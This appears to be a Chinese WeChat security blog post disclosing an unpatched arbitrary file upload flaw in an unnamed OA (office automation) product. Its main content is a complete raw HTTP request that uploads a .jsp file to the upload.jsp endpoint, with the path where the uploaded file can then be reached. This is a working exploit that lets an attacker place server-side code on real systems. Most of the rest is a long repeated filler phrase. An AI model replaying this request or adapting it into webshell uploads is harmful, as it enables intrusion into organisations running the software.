某户OA不公开情报Day

hvv期间有情报但是细节没公开。任意文件上传。

0x01 任意文件上传Day

先上图

存在文件上传，参数补齐就没问题。

POST /defaultroot/platform/portal/layout/common/upload.jsp?portletSettingId=123&path=dir HTTP/1.1Host: IPUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36Connection: closeContent-Length: 184Content-Type: multipart/form-data; boundary=b0d829daa06c13d6b3e16b0ad21d1eedCookie: OASESSIONID=416B4CE965CD27DEED8197A8528A33E6Accept-Encoding: gzip, deflate--b0d829daa06c13d6b3e16b0ad21d1eedContent-Disposition: form-data; name="file"; filename="1.jsp"Content-Type: application/octet-stream111--b0d829daa06c13d6b3e16b0ad21d1eed--

访问路径

http://ip:port/defaultroot/upload/dir(path参数的值)/202311(年月)/(返回的文件名).jsp

0x02 最近

太魔幻了

准备搞点别的。

不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看不用看

原文始发于微信公众号（星期天不睡懒觉）：某户OA不公开情报Day